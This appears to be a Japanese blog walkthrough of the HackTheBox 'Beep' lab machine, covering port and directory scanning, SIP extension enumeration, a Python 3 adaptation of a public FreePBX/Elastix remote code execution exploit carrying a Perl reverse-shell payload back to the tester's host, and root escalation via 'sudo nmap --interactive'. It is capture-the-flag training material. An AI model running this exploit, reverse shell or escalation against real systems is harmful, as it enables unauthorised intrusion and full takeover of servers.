Port 53

明日のための技術メモ

HackTheBox Beep Walkthrough

f:id:saturn-glave:20210505230242p:plain

https://app.hackthebox.eu/machines/Beep

今回はHackTheBox BeepのWalkthrough書きます。
SIPサーバへのペンテスト、とても勉強になりました。

目次

ポートスキャン

nmapをかけたところ、やたらとメール系のサービスが多い。
Webはポート80番と10000番にあり、443番がいるのでHTTPSも動いている。

┌──(kali㉿kali)-[~/results]
└─$ sudo nmap -A 10.10.10.7                                 
[sudo] kali のパスワード:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 14:42 JST
Stats: 0:01:44 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 91.67% done; ETC: 14:44 (0:00:09 remaining)
Stats: 0:02:02 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 91.67% done; ETC: 14:44 (0:00:10 remaining)
Stats: 0:05:00 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 88.00% done; ETC: 14:47 (0:00:10 remaining)
Stats: 0:05:48 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 96.00% done; ETC: 14:48 (0:00:05 remaining)
Nmap scan report for 10.10.10.7
Host is up (0.080s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp    open  smtp       Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
80/tcp    open  http       Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.10.10.7/
110/tcp   open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: UIDL IMPLEMENTATION(Cyrus POP3 server v2) LOGIN-DELAY(0) APOP USER EXPIRE(NEVER) PIPELINING AUTH-RESP-CODE RESP-CODES TOP STLS
111/tcp   open  rpcbind    2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            875/udp   status
|_  100024  1            878/tcp   status
143/tcp   open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: ANNOTATEMORE NO IMAP4rev1 MULTIAPPEND ACL RENAME NAMESPACE OK THREAD=ORDEREDSUBJECT X-NETSCAPE MAILBOX-REFERRALS UIDPLUS LISTEXT IMAP4 IDLE CONDSTORE CATENATE THREAD=REFERENCES ID RIGHTS=kxte Completed BINARY ATOMIC STARTTLS LITERAL+ SORT=MODSEQ CHILDREN URLAUTHA0001 SORT QUOTA UNSELECT LIST-SUBSCRIBED
443/tcp   open  ssl/https?
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after:  2018-04-07T08:22:08
|_ssl-date: 2021-05-05T05:46:35+00:00; 0s from scanner time.
993/tcp   open  ssl/imap   Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp   open  pop3       Cyrus pop3d
3306/tcp  open  mysql      MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
4445/tcp  open  upnotifyp?
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=5/5%OT=22%CT=1%CU=39300%PV=Y%DS=2%DC=T%G=Y%TM=609231F5
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=CC%GCD=1%ISR=D1%TI=Z%CI=Z%II=I%TS=A)OPS(O1
OS:=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW
OS:7%O6=M54DST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0)ECN(R=
OS:Y%DF=Y%T=40%W=16D0%O=M54DNNSNW7%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%R
OS:D=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M54DST11NW7%RD=0%Q
OS:=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A
OS:=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%D
OS:F=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL
OS:=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: Hosts:  beep.localdomain, 127.0.0.1, example.com

TRACEROUTE (using port 1025/tcp)
HOP RTT      ADDRESS
1   86.10 ms 10.10.14.1
2   86.54 ms 10.10.10.7

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 416.76 seconds

メール系はあまり経験がないので、Webサーバを見ることにした。

Webサーバの調査

普通にブラウザでアクセスしてみると、Elastixのログインページが出てきた。
Elastixは、電子メールやIP PBXなどのコラボレーションをしてくれるサービスらしい。
メール系のサービスいたし、もしかするとElastixの脆弱性を探す回なのではと勘ぐる。

f:id:saturn-glave:20210505230559p:plain

そういえば、いつも通りautoreconをかけていたが、gobusterが失敗していた。 理由は、https接続で証明書検証をしようとしてコケていたから。
gobuster dirで -k オプションを使うと証明書の検証をしない。これで手動実行する。

┌──(kali㉿kali)-[~/tools/dirsearch]
└─$ gobuster dir -u  https://10.10.10.7/ -w /usr/share/dirb/wordlists/common.txt -s '200,204,301,302,307,403,500' -e -k
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://10.10.10.7/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/05/05 15:36:36 Starting gobuster in directory enumeration mode
===============================================================
https://10.10.10.7/.hta                 (Status: 403) [Size: 282]
https://10.10.10.7/.htaccess            (Status: 403) [Size: 287]
https://10.10.10.7/.htpasswd            (Status: 403) [Size: 287]
https://10.10.10.7/admin                (Status: 301) [Size: 309] [--> https://10.10.10.7/admin/]
https://10.10.10.7/cgi-bin/             (Status: 403) [Size: 286]                                
https://10.10.10.7/configs              (Status: 301) [Size: 311] [--> https://10.10.10.7/configs/]
https://10.10.10.7/favicon.ico          (Status: 200) [Size: 894]                                  
https://10.10.10.7/help                 (Status: 301) [Size: 308] [--> https://10.10.10.7/help/]   
https://10.10.10.7/images               (Status: 301) [Size: 310] [--> https://10.10.10.7/images/] 
https://10.10.10.7/index.php            (Status: 200) [Size: 1785]                                 
https://10.10.10.7/lang                 (Status: 301) [Size: 308] [--> https://10.10.10.7/lang/]   
https://10.10.10.7/libs                 (Status: 301) [Size: 308] [--> https://10.10.10.7/libs/]   
https://10.10.10.7/mail                 (Status: 301) [Size: 308] [--> https://10.10.10.7/mail/]   
https://10.10.10.7/modules              (Status: 301) [Size: 311] [--> https://10.10.10.7/modules/]
https://10.10.10.7/panel                (Status: 301) [Size: 309] [--> https://10.10.10.7/panel/]  
https://10.10.10.7/robots.txt           (Status: 200) [Size: 28]                                   
https://10.10.10.7/static               (Status: 301) [Size: 310] [--> https://10.10.10.7/static/] 
https://10.10.10.7/themes               (Status: 301) [Size: 310] [--> https://10.10.10.7/themes/] 
https://10.10.10.7/var                  (Status: 301) [Size: 307] [--> https://10.10.10.7/var/]    
                                                                                                   
===============================================================
2021/05/05 15:39:28 Finished
===============================================================

いくつかのディレクトリにアクセスしてみる。

f:id:saturn-glave:20210505231132p:plain

f:id:saturn-glave:20210505231111p:plain

IP-PBXのログイン画面を見つけた。バージョンはFreePBX 2.8.1.4だった。

f:id:saturn-glave:20210505231155p:plain

sslscanもかけておく、TLSv1を使っていることが判明。

┌──(kali㉿kali)-[~]
└─$ sslscan 10.10.10.7 
Version: 2.0.9-static
OpenSSL 1.1.1l-dev  xx XXX xxxx

Connected to 10.10.10.7

Testing SSL server 10.10.10.7 on port 443 using SNI name 10.10.10.7

  SSL/TLS Protocols:
SSLv2     disabled
SSLv3     enabled
TLSv1.0   enabled
TLSv1.1   disabled
TLSv1.2   disabled
TLSv1.3   disabled

  TLS Fallback SCSV:
Server does not support TLS Fallback SCSV

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
Compression enabled (CRIME)

  Heartbleed:
TLSv1.0 not vulnerable to heartbleed

  Supported Server Cipher(s):
Preferred TLSv1.0  256 bits  DHE-RSA-AES256-SHA            DHE 1024 bits
Accepted  TLSv1.0  128 bits  DHE-RSA-AES128-SHA            DHE 1024 bits
Accepted  TLSv1.0  112 bits  DHE-RSA-DES-CBC3-SHA          DHE 1024 bits
Accepted  TLSv1.0  256 bits  AES256-SHA                   
Accepted  TLSv1.0  128 bits  AES128-SHA                   
Accepted  TLSv1.0  128 bits  RC4-SHA                      
Accepted  TLSv1.0  128 bits  RC4-MD5                      
Accepted  TLSv1.0  112 bits  DES-CBC3-SHA                 
Accepted  TLSv1.0  56 bits   TLS_RSA_WITH_DES_CBC_SHA     
Accepted  TLSv1.0  56 bits   TLS_DHE_RSA_WITH_DES_CBC_SHA 

  SSL Certificate:
Signature Algorithm: sha1WithRSAEncryption
RSA Key Strength:    1024

Subject:  localhost.localdomain
Issuer:   localhost.localdomain

Not valid before: Apr  7 08:22:08 2017 GMT
Not valid after:  Apr  7 08:22:08 2018 GMT

ネスペで逃げまくってた電話の分野がついに出題されてしまった...

PoCの実行

ElastixのPoC、絶対ありそうと思って調べたところ、本当に出てきた。 FreePBXのバージョンもこれより下なので、動いてくれそうな予感。

www.exploit-db.com

ただし、Python3系で動かしたいので、少し手直しをしていく。 やることとしては、

  1. パラメータの確認
  2. TLS接続対応

パラメータの確認

実行時に渡すパラメータは4つあり、上から3つは実行環境に合わせささっと埋められる。

  • rhost
  • lhost
  • lport
  • extension

しかし、4つめのパラメータextensionは、SIPプロトコルの話を含む。
SIP Extensionsのことを指していて、通信を開始するため、デバイスに対し、呼制御サーバの情報を登録させる仕組みのこと。 これにより、呼制御サーバのユーザ名、パスワード、IPアドレスをデバイスに登録できる。
実際にSIPサーバとデバイスが通信するときの内線番号、みたいなものだと理解した。(ここはもう少し調べて追記するかも)

info.teledynamics.com

SIPVicioussvwar を使ってextensionを特定してみると、233番で通信していることが判明。
SIPはセッション開始のとき、INVITEを相手に送るので、片っ端から000-999までに送りつける。

tools.kali.org

┌──(kali㉿kali)-[~/Downloads]
└─$ sudo svwar 10.10.10.7 -e000-999 -m INVITE
WARNING:TakeASip:using an INVITE scan on an endpoint (i.e. SIP phone) may cause it to ring and wake up people in the middle of the night
+-----------+----------------+
| Extension | Authentication |
+===========+================+
| 233       | reqauth        |
+-----------+----------------+

TLS接続対応

そもそも、Python3のurllibは仕様変更があったので、書き換えが必要。
そして証明書の検証をさせたくない(何もしないとそれでエラーが出る。) 公式フォーラムを見つつ、以下を追記した。

forum.hackthebox.eu

ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

urllib.error.URLError: <urlopen error [SSL: DH_KEY_TOO_SMALL] dh key too small (_ssl.c:1123)>とエラーが出る。
エラーで検索して、解決方法は以下を試した。ctx.set_ciphers('HIGH:!DH:!aNULL')を追記し、下駄を履かせる。

itectec.com

PoCは最終的に以下の通り修正した。

#!/usr/bin/python
############################################################
# Exploit Title: FreePBX / Elastix pre-authenticated remote code execution exploit
# Google Dork: oy vey
# Date: March 23rd, 2012
# Author: muts
# Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others.
# Tested on: multiple
# CVE : notyet
# Blog post : http://www.offensive-security.com/vulndev/freepbx-exploit-phone-home/ 
# Archive Url : http://www.offensive-security.com/0day/freepbx_callmenum.py.txt
############################################################
# Discovered by Martin Tschirsich
# http://seclists.org/fulldisclosure/2012/Mar/234
# http://www.exploit-db.com/exploits/18649
############################################################
import urllib.request
import ssl

rhost="10.10.10.7"
lhost="10.10.14.4"
lport="1234"
extension="233"


ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_ciphers('HIGH:!DH:!aNULL')

# Reverse shell payload

url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

urllib.request.urlopen(url, context=ctx)

# On Elastix, once we have a shell, we can escalate to root:
# root@bt:~# nc -lvp 443
# listening on [any] 443 ...
# connect to [172.16.254.223] from voip [172.16.254.72] 43415
# id
# uid=100(asterisk) gid=101(asterisk)
# sudo nmap --interactive

# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

いざ実行。

┌──(kali㉿kali)-[~/Downloads]
└─$ python3 18650.py


┌──(kali㉿kali)-[~]
└─$ nc -vlnp 1234                                                                                                                                           
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.7] 37853

id
uid=100(asterisk) gid=101(asterisk)
whomi

whoami
asterisk

pwd
/tmp

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
distcache:x:94:94:Distcache:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
cyrus:x:76:12:Cyrus IMAP Server:/var/lib/imap:/bin/bash
dbus:x:81:81:System message bus:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mailman:x:41:41:GNU Mailing List Manager:/usr/lib/mailman:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
asterisk:x:100:101:Asterisk VoIP PBX:/var/lib/asterisk:/bin/bash
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
spamfilter:x:500:500::/home/spamfilter:/bin/bash
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
fanis:x:501:501::/home/fanis:/bin/bash


cat /home/fanis/user.txt

userは取れたが、rootはまだダメだった。

権限昇格

そもそも/rootが見られない。PWなしでsudoできそうなコマンドをsudo -lで探す。

sudo -l
Matching Defaults entries for asterisk on this host:
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
    LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY"

User asterisk may run the following commands on this host:
    (root) NOPASSWD: /sbin/shutdown
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/bin/yum
    (root) NOPASSWD: /bin/touch
    (root) NOPASSWD: /bin/chmod
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /sbin/service
    (root) NOPASSWD: /sbin/init
    (root) NOPASSWD: /usr/sbin/postmap
    (root) NOPASSWD: /usr/sbin/postfix
    (root) NOPASSWD: /usr/sbin/saslpasswd2
    (root) NOPASSWD: /usr/sbin/hardware_detector
    (root) NOPASSWD: /sbin/chkconfig
    (root) NOPASSWD: /usr/sbin/elastix-helper

chmodはできそうだったので、/rootの中身の権限を変えたが、root.txtは頑固だった...

sudo chmod -R 755 /root

ls -ltr /root
total 16248
-rwxr-xr-x 1 root root   190461 Aug 10  2011 elastix-pr-2.2-1.i386.rpm
-rwxr-xr-x 1 root root 16358730 Oct 31  2011 webmin-1.570-1.noarch.rpm
-rwxr-xr-x 1 root root        0 Apr  7  2017 install.log.syslog
-rwxr-xr-x 1 root root    18433 Apr  7  2017 install.log
-rwxr-xr-x 1 root root     6025 Apr  7  2017 anaconda-ks.cfg
-rwxr-xr-x 1 root root        1 Apr  7  2017 postnochroot
-rw------- 1 root root       33 May  3 11:31 root.txt

PoCの中身をよく見ると、シェル取れたらnmapすれば権限昇格できる、とあったので利用。
(そもそもそこ読み落としていたという...)

sudo nmap --interactive

Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !bash


sudo -l
Matching Defaults entries for root on this host:
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
    LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY"

User root may run the following commands on this host:
    (ALL) ALL


cat /root/root.txt

無事取れました。SIPは来年の試験のためにも勉強しておこう...